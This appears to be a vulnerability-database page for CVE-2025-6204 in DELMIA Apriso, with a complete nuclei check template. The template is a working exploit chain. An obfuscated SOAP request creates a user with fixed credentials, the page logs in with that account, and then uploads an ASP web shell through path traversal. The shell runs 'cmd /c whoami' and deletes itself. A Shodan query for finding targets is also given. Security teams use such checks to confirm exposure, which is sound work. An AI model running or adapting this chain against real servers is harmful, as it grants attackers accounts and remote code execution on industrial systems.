HexBrain

Browse / CVEs / CVE-2025-6204

CVE-2025-6204· CWE-94

DELMIA Apriso - Command Injection

Exploited in the wild. Listed by CISA on 2025-10-28; known to be used by ransomware.

criticalseverity
9CVSS score
76.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An Improper Control of Generation of Code (code injection / file upload → RCE) vulnerability affecting DELMIA Apriso (Release 2020 → Release 2025). When an authenticated user can upload files and the upload handler fails to canonicalize filenames or enforce storage restrictions, an attacker may place executable artifacts into web-served locations (via path traversal or insufficient normalization) and achieve remote code execution under the webserver context.

Impact

Authenticated attackers can upload executable files through path traversal to achieve remote code execution on DELMIA Apriso servers.

Fix

Apply security patches from DELMIA for Release 2020 through Release 2025 to implement proper file upload validation and path canonicalization.

How to confirm it

Send: POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc
Positive when: contains "ProcessMessageASync_v2Response" and "<ProcessMessageASync_v2Result>true</ProcessMessageASync_v2R…"
Send: GET /Apriso/Portal/Kiosk/Login.aspx
Send: POST /Apriso/Portal/Kiosk/Login.aspx?BackToStartPage=true
Positive when: status_code == 302
Send: POST /Apriso/webservices/1.1/operation.svc/UploadFile?filename=375c9638-1a4e-465d-90d7-f69321315acb-xxx\..\..\..\portal\Uploads\{{filename}}.asp
Positive when: contains "Uploads" and "ResultMessage" and "FilePath" and "Success"
Send: GET /Apriso/Portal/Uploads/{{filename}}.asp
Positive when: contains "{{randstr}}"

Run it with nuclei: nuclei -id CVE-2025-6204 -u <target>

The full check
id: CVE-2025-6204

info:
  name: DELMIA Apriso - Command Injection
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An Improper Control of Generation of Code (code injection / file upload → RCE) vulnerability affecting DELMIA Apriso (Release 2020 → Release 2025). When an authenticated user can upload files and the upload handler fails to canonicalize filenames or enforce storage restrictions, an attacker may place executable artifacts into web-served locations (via path traversal or insufficient normalization) and achieve remote code execution under the webserver context.
  remediation: |
    Apply security patches from DELMIA for Release 2020 through Release 2025 to implement proper file upload validation and path canonicalization.
  impact: |
    Authenticated attackers can upload executable files through path traversal to achieve remote code execution on DELMIA Apriso servers.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6204
    - https://www.3ds.com/trust-center/security/security-advisories/cve-2025-6204
    - https://projectdiscovery.io/blog/remote-code-execution-in-delmia-apriso
  metadata:
    verified: true
    max-request: 5
    shodan-query: title:"DELMIA Apriso"
  classification:
    cve-id: CVE-2025-6204
    epss-score: 0.76605
    epss-percentile: 0.99546
    cwe-id: CWE-94
    cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
    cvss-score: 9.0
  tags: cve,cve2025,delmia,apriso,rce,traversal,upload,intrusive,vuln,kev,vkev

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  filename: "{{randbase(5)}}"
  username: "LAST"
  password: "9"

http:
  - raw:
      - |-
        POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml;charset=utf-8
        Soapaction: "http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2"

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:tem="http://tempuri.org/">
            <soapenv:Header/>
            <soapenv:Body>
                <tem:ProcessMessageASync_v2>
                    <tem:xmlMessage>&lt;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&#32;&#120;&#109;&#108;&#110;&#115;&#58;&#120;&#115;&#105;&#61;&quot;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#119;&#51;&#46;&#111;&#114;&#103;&#47;&#50;&#48;&#48;&#49;&#47;&#88;&#77;&#76;&#83;&#99;&#104;&#101;&#109;&#97;&#45;&#105;&#110;&#115;&#116;&#97;&#110;&#99;&#101;&quot;&#32;&#120;&#115;&#105;&#58;&#110;&#111;&#78;&#97;&#109;&#101;&#115;&#112;&#97;&#99;&#101;&#83;&#99;&#104;&#101;&#109;&#97;&#76;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&quot;&#83;&#58;&#47;&#83;&#99;&#104;&#101;&#109;&#97;&#82;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&#47;&#88;&#77;&#76;&#83;&#99;&#104;&#101;&#109;&#97;&#115;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&#46;&#120;&#115;&#100;&quot;&#32;&#86;&#101;&#114;&#115;&#105;&#111;&#110;&#61;&quot;&#49;&#46;&#48;&quot;&gt;&#13;&#10;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#71;&#105;&#118;&#101;&#110;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#71;&#105;&#118;&#101;&#110;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#70;&#97;&#109;&#105;&#108;&#121;&#78;&#97;&#109;&#101;&gt;&#76;&#65;&#83;&#84;&lt;&#47;&#70;&#97;&#109;&#105;&#108;&#121;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#78;&#111;&gt;&#48;&#56;&#50;&#54;&#50;&#48;&#48;&#52;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#78;&#111;&gt;&#13;&#10;&#9;&#9;&lt;&#76;&#111;&#103;&#105;&#110;&#78;&#97;&#109;&#101;&gt;{{username}}&lt;&#47;&#76;&#111;&#103;&#105;&#110;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#80;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&gt;{{password}}&lt;&#47;&#80;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&gt;&#13;&#10;&#9;&#9;&lt;&#72;&#105;&#114;&#101;&#68;&#97;&#116;&#101;&gt;&#50;&#48;&#48;&#48;&#45;&#48;&#54;&#45;&#48;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#72;&#105;&#114;&#101;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#83;&#112;&#111;&#107;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#49;&#48;&#51;&#51;&lt;&#47;&#83;&#112;&#111;&#107;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#87;&#114;&#105;&#116;&#116;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#49;&#48;&#51;&#51;&lt;&#47;&#87;&#114;&#105;&#116;&#116;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#86;&#97;&#108;&#105;&#100;&#68;&#97;&#116;&#101;&gt;&#50;&#48;&#48;&#48;&#45;&#48;&#54;&#45;&#48;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#86;&#97;&#108;&#105;&#100;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#76;&#111;&#103;&#105;&#110;&#69;&#120;&#112;&#105;&#114;&#97;&#116;&#105;&#111;&#110;&#68;&#97;&#116;&#101;&gt;&#57;&#57;&#57;&#57;&#45;&#49;&#50;&#45;&#51;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#76;&#111;&#103;&#105;&#110;&#69;&#120;&#112;&#105;&#114;&#97;&#116;&#105;&#111;&#110;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#84;&#121;&#112;&#101;&gt;&#48;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#84;&#121;&#112;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#70;&#97;&#99;&#105;&#108;&#105;&#116;&#121;&gt;&#67;&#49;&#80;&#49;&lt;&#47;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#70;&#97;&#99;&#105;&#108;&#105;&#116;&#121;&gt;&#13;&#10;&#9;&#9;&lt;&#84;&#114;&#97;&#99;&#107;&#76;&#97;&#98;&#111;&#114;&#70;&#108;&#97;&#103;&gt;&#116;&#114;&#117;&#101;&lt;&#47;&#84;&#114;&#97;&#99;&#107;&#76;&#97;&#98;&#111;&#114;&#70;&#108;&#97;&#103;&gt;&#13;&#10;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#95;&#73;&#110;&#115;&#101;&#114;&#116;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#84;&#121;&#112;&#101;&gt;&#49;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#84;&#121;&#112;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#70;&#85;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&#47;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#95;&#73;&#110;&#115;&#101;&#114;&#116;&gt;&#13;&#10;&#9;&#9;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&#47;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&gt;&#80;&#114;&#111;&#100;&#117;&#99;&#116;&#105;&#111;&#110;&#32;&#85;&#115;&#101;&#114;&lt;&#47;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#47;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#47;&#82;&#111;&#108;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&gt;&#13;&#10;&lt;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&gt;</tem:xmlMessage>
                    <tem:applicationName>myExternalApplication</tem:applicationName>
                </tem:ProcessMessageASync_v2>
            </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: word
        part: body
        words:
          - ProcessMessageASync_v2Response
          - <ProcessMessageASync_v2Result>true</ProcessMessageASync_v2Result>
        condition: and
        internal: true


  - raw:
      - |
        GET /Apriso/Portal/Kiosk/Login.aspx HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    extractors:
      - type: regex
        part: body
        name: viewstate
        group: 1
        regex:
          - '__VIEWSTATE" value="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: eventval
        group: 1
        regex:
          - '__EVENTVALIDATION" value="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: viewgen
        group: 1
        regex:
          - '__VIEWSTATEGENERATOR" value="(.*?)"'
        internal: true

  - raw:
      - |-
        POST /Apriso/Portal/Kiosk/Login.aspx?BackToStartPage=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE={{urlencode(viewstate)}}&__VIEWSTATEGENERATOR={{viewgen}}&__EVENTVALIDATION={{urlencode(eventval)}}&ctl04%24LoginTextBox={{username}}&ctl04%24PasswordTextbox={{password}}&ctl04%24LogInButton=Log+In&ctl04%24HiddenValue=Initial+Value&ctl04%24HiddenValue2=Initial+Value

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
        internal: true

# Self-deleteable ASP POC File
  - raw:
      - |
        POST /Apriso/webservices/1.1/operation.svc/UploadFile?filename=375c9638-1a4e-465d-90d7-f69321315acb-xxx\..\..\..\portal\Uploads\{{filename}}.asp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <%
          Response.Write "{{randstr}}" & "<br>"

          Set rs = CreateObject("WScript.Shell")
          Set cmd = rs.Exec("cmd /c whoami")
          o = cmd.StdOut.Readall()
          Response.write(o)

          Set fso = Server.CreateObject("Scripting.FileSystemObject")
          fso.DeleteFile Server.MapPath(Request.ServerVariables("SCRIPT_NAME")), True
          Set fso = Nothing
        %>

    matchers:
      - type: word
        part: body
        words:
          - Uploads
          - ResultMessage
          - FilePath
          - Success
          - "{{filename}}.asp"
        condition: and
        internal: true

  - raw:
      - |
        GET /Apriso/Portal/Uploads/{{filename}}.asp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{randstr}}"

    extractors:
      - type: regex
        group: 1
        regex:
          - <br>(.*)

References

Use this check only on systems you are authorised to test. Where the data comes from